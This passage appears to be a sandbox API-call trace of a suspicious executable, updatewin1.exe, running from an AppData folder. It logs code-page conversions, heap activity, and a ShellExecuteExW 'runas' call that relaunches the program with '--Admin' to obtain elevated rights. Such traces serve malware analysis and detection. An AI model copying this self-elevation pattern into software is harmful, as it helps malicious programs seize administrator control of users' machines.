lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x82\x99\x6d\x13\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0093.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.735] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.735] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0093.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x82\x99\x6d\x13\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0093.735] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x53a0d0 [0093.736] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe")) returned 0x5f [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc8) returned 0x53c160 [0093.736] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0093.736] GetLastError () returned 0x0 [0093.736] SetLastError (dwErrCode=0x0) [0093.736] GetEnvironmentStringsW () returned 0x53c230* [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xaca) returned 0x53cd08 [0093.736] FreeEnvironmentStringsW (penv=0x53c230) returned 1 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x98) returned 0x53c230 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3e) returned 0x53d7f8 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6c) returned 0x53c2d0 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6e) returned 0x53c348 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x78) returned 0x521180 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x62) returned 0x53c3c0 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x5252d0 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x53c430 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x53a158 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a) returned 0x53bd10 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4a) returned 0x53c480 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x72) returned 0x521200 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x525308 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x525340 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x53bd38 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd2) returned 0x53c4d8 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7c) returned 0x53c5b8 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x53c640 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3a) returned 0x53d840 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x90) returned 0x53c680 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x53c718 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x525378 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x53c748 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x53c788 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x53c7d8 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x53d888 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x82) returned 0x53c838 [0093.736] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x5253b0 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1e) returned 0x53bd60 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2c) returned 0x5253e8 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x53c8c8 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x53c928 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a) returned 0x525420 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x53d8d0 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x53c988 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x53c9e8 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x525458 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x8c) returned 0x53ca18 [0093.737] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53cd08 | out: hHeap=0x510000) returned 1 [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x800) returned 0x53cab0 [0093.737] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.737] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0093.737] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0093.737] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" " [0093.737] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" ", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x53d2b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" [0093.737] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc0) returned 0x53d388 [0093.737] lstrcpyW (in: lpString1=0x18e5a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" [0093.737] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0") returned 1 [0093.737] lstrcpyW (in: lpString1=0x18eda0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0093.737] ShellExecuteExW (in: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0094.019] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53d388 | out: hHeap=0x510000) returned 1 [0094.019] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0094.020] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0094.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53a0d0 | out: hHeap=0x510000) returned 1 [0094.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53cab0 | out: hHeap=0x510000) returned 1 [0094.020] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0094.020] GetLastError () returned 0x57 [0094.020] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f56c | out: phModule=0x18f56c) returned 0 [0094.020] ExitProcess (uExitCode=0x0) [0094.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53a9e8 | out: hHeap=0x510000) returned 1 [0094.022] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 46 os_tid = 0xad0 Thread: id = 47 os_tid = 0xad4 Thread: id = 48 os_tid = 0xad8 Thread: id = 49 os_tid = 0xadc Process: id = "7" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" page_root = "0x32c68000" os_pid = "0xae0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xabc" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xae4 [0094.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xebf4ea70, dwHighDateTime=0x1d50371)) [0094.088] GetCurrentProcessId () returned 0xae0 [0094.088] GetCurrentThreadId () returned 0xae4 [0094.088] GetTickCount () returned 0x23aae [0094.088] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=21394250136) returned 1 [0094.096] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0094.096] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e90000 [0094.097] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.097] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0094.098] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0094.098] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0094.098] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0094.098] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.098] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.098] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.098] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.099] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.099] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.099] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.099] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.099] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.099] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.099] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.099] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.100] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.100] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0094.100] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.100] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0094.100] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x214) returned 0x1e907d0 [0094.100] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.101] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0094.101] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0094.101] GetProcAddress (hModule=0x76c20000, 